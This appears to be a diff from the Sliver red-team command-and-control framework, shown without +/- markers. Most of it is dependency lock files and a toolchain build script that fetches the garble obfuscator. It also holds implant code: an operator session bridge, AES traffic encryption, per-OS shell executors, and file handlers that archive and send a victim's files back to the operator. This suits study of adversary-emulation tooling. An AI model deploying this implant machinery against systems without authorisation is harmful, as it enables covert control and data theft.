Executors: util.DetermineExecutors(s.OS, s.Arch),
Links: make([]Instruction, 0),
Executing: "",
Pwd: pwd,
Sleep: int(sleepTime),
Sleep: defaultImplantSleep,
}
if p.conf.AESKey == "" {
return errors.New("missing AES key")
}
a.GetID()
encryptionKey := p.conf.AESKey
agentConfig := AgentConfig{
Name: a.GetID(),
Name: sessName,
AESKey: encryptionKey,
Range: p.conf.Range,
Contact: "tcp",
Address: p.conf.OperatorURL,
Pid: int(a.GetPID()),
Pid: int(s.PID),
Executing: make(map[string]Instruction),
Sleep: int(sleepTime),
Sleep: defaultImplantSleep,
}
bridge := NewImplantBridge(&conn, a, p.conf.RPC, beacon, agentConfig, callback)
util.EncryptionKey = &agentConfig.AESKey
agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
p.Lock()
p.implantBridges = append(p.implantBridges, bridge)
p.sessions = append(p.sessions, agentSession)
p.Unlock()
go bridge.ReceiveLoop()
go agentSession.ReceiveLoop()
return nil
}
func (p *OperatorImplantMapper) RemoveImplant(imp ActiveImplant) (err error) {
func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
p.Lock()
for _, bridge := range p.implantBridges {
if bridge.Implant.GetID() == imp.GetID() {
if bridge.Conn != nil {
err = (*bridge.Conn).Close()
for _, agentSession := range p.sessions {
if agentSession.Session.ID == s.ID {
if agentSession.Conn != nil {
err = (*agentSession.Conn).Close()
} else {
err = errors.New("connection is nil")
}
@@ -147,6 +131,6 @@ func (p *OperatorImplantMapper) RemoveImplant(imp ActiveImplant) (err error) {
return err
}
func (p *OperatorImplantMapper) GetConfig() *OperatorConfig {
func (p *PreludeSessionMapper) GetConfig() *OperatorConfig {
return p.conf
}
@@ -22,43 +22,44 @@ import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/hex"
"errors"
"fmt"
"io"
)
// PreludeEncrypt the results
func PreludeEncrypt(data []byte, key []byte, iv []byte) []byte {
plainText, err := pad(data, aes.BlockSize)
var EncryptionKey *string
//Encrypt the results
func Encrypt(bites []byte) []byte {
plainText, err := pad(bites, aes.BlockSize)
if err != nil {
return make([]byte, 0)
}
block, _ := aes.NewCipher(key)
block, _ := aes.NewCipher([]byte(*EncryptionKey))
cipherText := make([]byte, aes.BlockSize+len(plainText))
// Create a random IV if none was provided
// len(nil) returns 0
if len(iv) == 0 {
iv = cipherText[:aes.BlockSize]
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
return make([]byte, 0)
}
iv := cipherText[:aes.BlockSize]
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
return make([]byte, 0)
}
mode := cipher.NewCBCEncrypter(block, iv)
mode.CryptBlocks(cipherText[aes.BlockSize:], plainText)
return cipherText
return []byte(fmt.Sprintf("%x", cipherText))
}
// PreludeDecrypt a command
func PreludeDecrypt(data []byte, key []byte) []byte {
block, err := aes.NewCipher(key)
//Decrypt a command
func Decrypt(text string) string {
cipherText, _ := hex.DecodeString(text)
block, err := aes.NewCipher([]byte(*EncryptionKey))
if err != nil {
return nil
return ""
}
iv := data[:aes.BlockSize]
data = data[aes.BlockSize:]
iv := cipherText[:aes.BlockSize]
cipherText = cipherText[aes.BlockSize:]
mode := cipher.NewCBCDecrypter(block, iv)
mode.CryptBlocks(data, data)
data, _ = unpad(data, aes.BlockSize)
return data
mode.CryptBlocks(cipherText, cipherText)
cipherText, _ = unpad(cipherText, aes.BlockSize)
return string(cipherText)
}
func pad(buf []byte, size int) ([]byte, error) {
+8 -6
View File
@@ -21,23 +21,25 @@ package util
func DetermineExecutors(platform string, arch string) []string {
platformExecutors := map[string]map[string][]string{
"windows": {
"file": {"pwsh.exe", "powershell.exe", "cmd.exe", "", ""},
"executor": {"pwsh", "psh", "cmd", "bof", "exec"},
"file": {"pwsh.exe", "powershell.exe", "cmd.exe"},
"executor": {"pwsh", "psh", "cmd", "bof"},
},
"linux": {
"file": {"python3", "sh", "bash"},
"executor": {"python", "sh", "bash"},
"file": {"python3", "pwsh", "sh", "bash"},
"executor": {"python", "pwsh", "sh", "bash"},
},
"darwin": {
"file": {"python3", "zsh", "sh", "osascript", "bash"},
"executor": {"python", "zsh", "sh", "osa", "bash"},
"file": {"python3", "pwsh", "zsh", "sh", "osascript", "bash"},
"executor": {"python", "pwsh", "zsh", "sh", "osa", "bash"},
},
}
var executors []string
for platformKey, platformValue := range platformExecutors {
if platform == platformKey {
for i := range platformValue["file"] {
// if checkIfExecutorAvailable(platformValue["file"][i]) {
executors = append(executors, platformExecutors[platformKey]["executor"][i])
// }
}
}
}
+83 -89
View File
@@ -1,7 +1,7 @@
GEM
remote: https://rubygems.org/
specs:
activesupport (6.0.4.6)
activesupport (6.0.4)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 0.7, < 2)
minitest (~> 5.1)
@@ -14,54 +14,48 @@ GEM
execjs
coffee-script-source (1.11.1)
colorator (1.1.0)
commonmarker (0.23.4)
commonmarker (0.17.13)
ruby-enum (~> 0.5)
concurrent-ruby (1.1.9)
dnsruby (1.61.9)
dnsruby (1.61.7)
simpleidn (~> 0.1)
em-websocket (0.5.3)
em-websocket (0.5.2)
eventmachine (>= 0.12.9)
http_parser.rb (~> 0)
ethon (0.15.0)
http_parser.rb (~> 0.6.0)
ethon (0.14.0)
ffi (>= 1.15.0)
eventmachine (1.2.7)
execjs (2.8.1)
faraday (1.10.0)
faraday (1.5.0)
faraday-em_http (~> 1.0)
faraday-em_synchrony (~> 1.0)
faraday-excon (~> 1.1)
faraday-httpclient (~> 1.0)
faraday-multipart (~> 1.0)
faraday-httpclient (~> 1.0.1)
faraday-net_http (~> 1.0)
faraday-net_http_persistent (~> 1.0)
faraday-net_http_persistent (~> 1.1)
faraday-patron (~> 1.0)
faraday-rack (~> 1.0)
faraday-retry (~> 1.0)
multipart-post (>= 1.2, < 3)
ruby2_keywords (>= 0.0.4)
faraday-em_http (1.0.0)
faraday-em_synchrony (1.0.0)
faraday-excon (1.1.0)
faraday-httpclient (1.0.1)
faraday-multipart (1.0.3)
multipart-post (>= 1.2, < 3)
faraday-net_http (1.0.1)
faraday-net_http_persistent (1.2.0)
faraday-net_http_persistent (1.1.0)
faraday-patron (1.0.0)
faraday-rack (1.0.0)
faraday-retry (1.0.3)
ffi (1.15.5)
ffi (1.15.3)
forwardable-extended (2.6.0)
gemoji (3.0.1)
github-pages (225)
github-pages-health-check (= 1.17.9)
github-pages (215)
github-pages-health-check (= 1.17.2)
jekyll (= 3.9.0)
jekyll-avatar (= 0.7.0)
jekyll-coffeescript (= 1.1.1)
jekyll-commonmark-ghpages (= 0.2.0)
jekyll-commonmark-ghpages (= 0.1.6)
jekyll-default-layout (= 0.1.4)
jekyll-feed (= 0.15.1)
jekyll-gist (= 1.5.0)
jekyll-github-metadata (= 2.13.0)
jekyll-include-cache (= 0.2.1)
jekyll-mentions (= 1.6.0)
jekyll-optional-front-matter (= 0.3.2)
jekyll-paginate (= 1.1.0)
@@ -70,22 +64,22 @@ GEM
jekyll-relative-links (= 0.6.1)
jekyll-remote-theme (= 0.4.3)
jekyll-sass-converter (= 1.5.2)
jekyll-seo-tag (= 2.8.0)
jekyll-seo-tag (= 2.7.1)
jekyll-sitemap (= 1.4.0)
jekyll-swiss (= 1.0.0)
jekyll-theme-architect (= 0.2.0)
jekyll-theme-cayman (= 0.2.0)
jekyll-theme-dinky (= 0.2.0)
jekyll-theme-hacker (= 0.2.0)
jekyll-theme-leap-day (= 0.2.0)
jekyll-theme-merlot (= 0.2.0)
jekyll-theme-midnight (= 0.2.0)
jekyll-theme-minimal (= 0.2.0)
jekyll-theme-modernist (= 0.2.0)
jekyll-theme-primer (= 0.6.0)
jekyll-theme-slate (= 0.2.0)
jekyll-theme-tactile (= 0.2.0)
jekyll-theme-time-machine (= 0.2.0)
jekyll-theme-architect (= 0.1.1)
jekyll-theme-cayman (= 0.1.1)
jekyll-theme-dinky (= 0.1.1)
jekyll-theme-hacker (= 0.1.2)
jekyll-theme-leap-day (= 0.1.1)
jekyll-theme-merlot (= 0.1.1)
jekyll-theme-midnight (= 0.1.1)
jekyll-theme-minimal (= 0.1.1)
jekyll-theme-modernist (= 0.1.1)
jekyll-theme-primer (= 0.5.4)
jekyll-theme-slate (= 0.1.1)
jekyll-theme-tactile (= 0.1.1)
jekyll-theme-time-machine (= 0.1.1)
jekyll-titles-from-headings (= 0.5.3)
jemoji (= 0.12.0)
kramdown (= 2.3.1)
@@ -93,19 +87,19 @@ GEM
liquid (= 4.0.3)
mercenary (~> 0.3)
minima (= 2.5.1)
nokogiri (>= 1.12.5, < 2.0)
nokogiri (>= 1.10.4, < 2.0)
rouge (= 3.26.0)
terminal-table (~> 1.4)
github-pages-health-check (1.17.9)
github-pages-health-check (1.17.2)
addressable (~> 2.3)
dnsruby (~> 1.60)
octokit (~> 4.0)
public_suffix (>= 3.0, < 5.0)
public_suffix (>= 2.0.2, < 5.0)
typhoeus (~> 1.3)
html-pipeline (2.14.0)
activesupport (>= 2)
nokogiri (>= 1.4)
http_parser.rb (0.8.0)
http_parser.rb (0.6.0)
i18n (0.9.5)
concurrent-ruby (~> 1.0)
jekyll (3.9.0)
@@ -126,12 +120,12 @@ GEM
jekyll-coffeescript (1.1.1)
coffee-script (~> 2.2)
coffee-script-source (~> 1.11.1)
jekyll-commonmark (1.4.0)
commonmarker (~> 0.22)
jekyll-commonmark-ghpages (0.2.0)
commonmarker (~> 0.23.4)
jekyll (~> 3.9.0)
jekyll-commonmark (~> 1.4.0)
jekyll-commonmark (1.3.1)
commonmarker (~> 0.14)
jekyll (>= 3.7, < 5.0)
jekyll-commonmark-ghpages (0.1.6)
commonmarker (~> 0.17.6)
jekyll-commonmark (~> 1.2)
rouge (>= 2.0, < 4.0)
jekyll-default-layout (0.1.4)
jekyll (~> 3.0)
@@ -142,8 +136,6 @@ GEM
jekyll-github-metadata (2.13.0)
jekyll (>= 3.4, < 5.0)
octokit (~> 4.0, != 4.4.0)
jekyll-include-cache (0.2.1)
jekyll (>= 3.7, < 5.0)
jekyll-mentions (1.6.0)
html-pipeline (~> 2.3)
jekyll (>= 3.7, < 5.0)
@@ -163,50 +155,50 @@ GEM
rubyzip (>= 1.3.0, < 3.0)
jekyll-sass-converter (1.5.2)
sass (~> 3.4)
jekyll-seo-tag (2.8.0)
jekyll-seo-tag (2.7.1)
jekyll (>= 3.8, < 5.0)
jekyll-sitemap (1.4.0)
jekyll (>= 3.7, < 5.0)
jekyll-swiss (1.0.0)
jekyll-theme-architect (0.2.0)
jekyll-theme-architect (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-cayman (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-dinky (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-hacker (0.1.2)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-cayman (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-theme-leap-day (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-dinky (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-theme-merlot (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-hacker (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-theme-midnight (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-leap-day (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-theme-minimal (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-merlot (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-theme-modernist (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-midnight (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-minimal (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-modernist (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-primer (0.6.0)
jekyll-theme-primer (0.5.4)
jekyll (> 3.5, < 5.0)
jekyll-github-metadata (~> 2.9)
jekyll-seo-tag (~> 2.0)
jekyll-theme-slate (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-theme-slate (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-tactile (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-theme-tactile (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-time-machine (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-theme-time-machine (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-titles-from-headings (0.5.3)
jekyll (>= 3.3, < 5.0)
@@ -221,33 +213,35 @@ GEM
kramdown-parser-gfm (1.1.0)
kramdown (~> 2.0)
liquid (4.0.3)
listen (3.7.1)
listen (3.5.1)
rb-fsevent (~> 0.10, >= 0.10.3)
rb-inotify (~> 0.9, >= 0.9.10)
mercenary (0.3.6)
mini_portile2 (2.8.0)
mini_portile2 (2.6.1)
minima (2.5.1)
jekyll (>= 3.5, < 5.0)
jekyll-feed (~> 0.9)
jekyll-seo-tag (~> 2.1)
minitest (5.15.0)
minitest (5.14.4)
multipart-post (2.1.1)
nokogiri (1.13.6)
mini_portile2 (~> 2.8.0)
nokogiri (1.12.5)
mini_portile2 (~> 2.6.1)
racc (~> 1.4)
octokit (4.22.0)
octokit (4.21.0)
faraday (>= 0.9)
sawyer (~> 0.8.0, >= 0.5.3)
pathutil (0.16.2)
forwardable-extended (~> 2.6)
public_suffix (4.0.6)
racc (1.6.0)
rb-fsevent (0.11.1)
racc (1.5.2)
rb-fsevent (0.11.0)
rb-inotify (0.10.1)
ffi (~> 1.0)
rexml (3.2.5)
rouge (3.26.0)
ruby2_keywords (0.0.5)
ruby-enum (0.9.0)
i18n
ruby2_keywords (0.0.4)
rubyzip (2.3.2)
safe_yaml (1.0.5)
sass (3.7.4)
@@ -267,14 +261,14 @@ GEM
ethon (>= 0.9.0)
tzinfo (1.2.9)
thread_safe (~> 0.1)
tzinfo-data (1.2021.5)
tzinfo-data (1.2021.1)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.8)
unicode-display_width (1.8.0)
unf_ext (0.0.7.7)
unicode-display_width (1.7.0)
wdm (0.1.1)
zeitwerk (2.5.4)
zeitwerk (2.4.2)
PLATFORMS
ruby
+7 -23
View File
@@ -20,8 +20,8 @@ set -e
# Creates the static go asset archives
GO_VER="1.18.3"
GARBLE_VER="1.18.0"
GO_VER="1.17.6"
GARBLE_VER="1.17.5"
GO_ARCH_1="amd64"
GO_ARCH_2="arm64"
@@ -102,9 +102,9 @@ cp -vv darwin-go.zip $OUTPUT_DIR/darwin/$GO_ARCH_2/go.zip
rm -rf ./go
rm -f darwin-go.zip go$GO_VER.darwin-$GO_ARCH_2.tar.gz
# --- Linux (amd64) ---
curl --output go$GO_VER.linux-$GO_ARCH_1.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_1.tar.gz
tar xvf go$GO_VER.linux-$GO_ARCH_1.tar.gz
# --- Linux ---
curl --output go$GO_VER.linux-amd64.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_1.tar.gz
tar xvf go$GO_VER.linux-amd64.tar.gz
cd go
rm -rf $BLOAT_FILES
rm -rf ./src
@@ -118,22 +118,6 @@ cp -vv linux-go.zip $OUTPUT_DIR/linux/$GO_ARCH_1/go.zip
rm -rf ./go
rm -f linux-go.zip go$GO_VER.linux-$GO_ARCH_1.tar.gz
# --- Linux (arm64) ---
curl --output go$GO_VER.linux-$GO_ARCH_2.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_2.tar.gz
tar xvf go$GO_VER.linux-$GO_ARCH_2.tar.gz
cd go
rm -rf $BLOAT_FILES
rm -rf ./src
rm -f ./pkg/tool/linux_$GO_ARCH_2/doc
rm -f ./pkg/tool/linux_$GO_ARCH_2/tour
rm -f ./pkg/tool/linux_$GO_ARCH_2/test2json
cd ..
zip -r linux-go.zip ./go
mkdir -p $OUTPUT_DIR/linux/$GO_ARCH_2
cp -vv linux-go.zip $OUTPUT_DIR/linux/$GO_ARCH_2/go.zip
rm -rf ./go
rm -f linux-go.zip go$GO_VER.linux-$GO_ARCH_2.tar.gz
# --- Windows ---
curl --output go$GO_VER.windows-amd64.zip https://dl.google.com/go/go$GO_VER.windows-$GO_ARCH_1.zip
unzip go$GO_VER.windows-amd64.zip
@@ -156,8 +140,8 @@ echo "-----------------------------------------------------------------"
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
file $OUTPUT_DIR/linux/$GO_ARCH_1/garble
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
+41 -35
View File
@@ -2,6 +2,9 @@ module github.com/bishopfox/sliver
go 1.17
// fix wgctrl requiring old wireguard
replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
require (
@@ -10,51 +13,63 @@ require (
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.4.16 // indirect
github.com/alecthomas/chroma v0.8.1
github.com/cheggaaa/pb/v3 v3.0.5
github.com/desertbit/columnize v2.1.0+incompatible
github.com/desertbit/go-shlex v0.1.1
github.com/desertbit/grumble v1.1.1
github.com/fatih/color v1.12.0
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/gofrs/uuid v3.3.0+incompatible
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/uuid v1.3.0
github.com/gorilla/mux v1.8.0
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/jedib0t/go-pretty/v6 v6.2.4
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lesnuages/snitch v0.6.0
github.com/mattn/go-sqlite3 v1.14.12
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-sqlite3 v1.14.9
github.com/miekg/dns v1.1.35
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/pquerna/otp v1.3.0
github.com/shirou/gopsutil/v3 v3.21.10
github.com/sirupsen/logrus v1.8.1
github.com/sergi/go-diff v1.1.0 // indirect
github.com/sirupsen/logrus v1.7.0
github.com/spf13/cobra v1.1.1
github.com/stretchr/testify v1.7.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
golang.org/x/text v0.3.7
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
google.golang.org/protobuf v1.27.1
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
golang.org/x/net v0.0.0-20210614182718-04defd469f4e
golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1
golang.org/x/text v0.3.6
golang.zx2c4.com/wireguard v0.0.20200121
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20200609130330-bd2cb7843e1b
google.golang.org/genproto v0.0.0-20210406143921-e86de6bf7a46 // indirect
google.golang.org/grpc v1.37.0
google.golang.org/protobuf v1.26.0
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
gorm.io/driver/mysql v1.0.3
gorm.io/driver/postgres v1.0.5
gorm.io/driver/sqlite v1.1.3
gorm.io/gorm v1.21.14
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
modernc.org/sqlite v1.16.0
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
)
require (
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/shirou/gopsutil/v3 v3.21.10
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1
modernc.org/sqlite v1.14.3
)
require (
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/StackExchange/wmi v1.2.1 // indirect
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
github.com/VividCortex/ewma v1.1.1 // indirect
@@ -67,13 +82,10 @@ require (
github.com/desertbit/closer/v3 v3.1.2 // indirect
github.com/desertbit/readline v1.5.1 // indirect
github.com/dlclark/regexp2 v1.2.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/go-sql-driver/mysql v1.5.0 // indirect
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/inconshreveable/mousetrap v1.0.0 // indirect
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
github.com/jackc/pgconn v1.7.0 // indirect
@@ -87,32 +99,26 @@ require (
github.com/jinzhu/now v1.1.2 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
github.com/sergi/go-diff v1.1.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
golang.org/x/mod v0.5.1 // indirect
golang.org/x/mod v0.3.0 // indirect
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
golang.org/x/tools v0.1.9 // indirect
golang.org/x/tools v0.1.0 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
gopkg.in/yaml.v3 v3.0.0 // indirect
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
lukechampine.com/uint128 v1.1.1 // indirect
modernc.org/cc/v3 v3.35.24 // indirect
modernc.org/ccgo/v3 v3.15.18 // indirect
modernc.org/libc v1.14.12 // indirect
modernc.org/cc/v3 v3.35.18 // indirect
modernc.org/ccgo/v3 v3.12.95 // indirect
modernc.org/libc v1.11.104 // indirect
modernc.org/mathutil v1.4.1 // indirect
modernc.org/memory v1.0.7 // indirect
modernc.org/memory v1.0.5 // indirect
modernc.org/opt v0.1.1 // indirect
modernc.org/strutil v1.1.1 // indirect
modernc.org/token v1.0.0 // indirect
+64 -726
View File
File diff suppressed because it is too large. Load diff
+19 -19
View File
@@ -1,24 +1,24 @@
module github.com/bishopfox/sliver
go 1.17
go 1.16
require (
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
github.com/Microsoft/go-winio v0.5.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/gofrs/uuid v4.0.0+incompatible
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/pquerna/otp v1.3.0
github.com/stretchr/testify v1.7.0
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
golang.zx2c4.com/wireguard/windows v0.5.1
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
google.golang.org/protobuf v1.23.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
github.com/Microsoft/go-winio v0.5.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/gofrs/uuid v4.0.0+incompatible
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/pquerna/otp v1.3.0
github.com/stretchr/testify v1.7.0
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
golang.zx2c4.com/wireguard/windows v0.5.1
google.golang.org/protobuf v1.23.0
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
)
+22 -103
View File
@@ -153,7 +153,7 @@ func rmHandler(data []byte, resp RPCResponse) {
_, err = os.Stat(target)
if err == nil {
if (target == "/" || target == "C:\\") && !rmReq.Force {
err = errors.New("cowardly refusing to remove volume root without force")
err = errors.New("Cowardly refusing to remove volume root without force")
}
}
@@ -178,28 +178,6 @@ func rmHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func mvHandler(data []byte, resp RPCResponse) {
mvReq := &sliverpb.MvReq{}
err := proto.Unmarshal(data, mvReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
move := &sliverpb.Mv{}
err = os.Rename(mvReq.Src, mvReq.Dst)
if err != nil {
move.Response = &commonpb.Response{
Err: err.Error(),
}
}
data, err = proto.Marshal(move)
resp(data, err)
}
func mkdirHandler(data []byte, resp RPCResponse) {
mkdirReq := &sliverpb.MkdirReq{}
err := proto.Unmarshal(data, mkdirReq)
@@ -277,13 +255,6 @@ func pwdHandler(data []byte, resp RPCResponse) {
// Send a file back to the hive
func downloadHandler(data []byte, resp RPCResponse) {
var rawData []byte
/*
A flag for whether this is a directory - used if
this download is being looted
*/
var isDir bool
downloadReq := &sliverpb.DownloadReq{}
err := proto.Unmarshal(data, downloadReq)
if err != nil {
@@ -314,10 +285,8 @@ func downloadHandler(data []byte, resp RPCResponse) {
log.Printf("error creating the archive: %v", err)
// {{end}}
rawData = dirData.Bytes()
isDir = true
} else {
rawData, err = ioutil.ReadFile(target)
isDir = false
}
var download *sliverpb.Download
@@ -325,12 +294,10 @@ func downloadHandler(data []byte, resp RPCResponse) {
gzipData := bytes.NewBuffer([]byte{})
gzipWrite(gzipData, rawData)
download = &sliverpb.Download{
Path: target,
Data: gzipData.Bytes(),
Encoder: "gzip",
Exists: true,
IsDir: isDir,
Response: &commonpb.Response{},
Path: target,
Data: gzipData.Bytes(),
Encoder: "gzip",
Exists: true,
}
} else {
download = &sliverpb.Download{Path: target, Exists: false}
@@ -562,30 +529,31 @@ func unsetEnvHandler(data []byte, resp RPCResponse) {
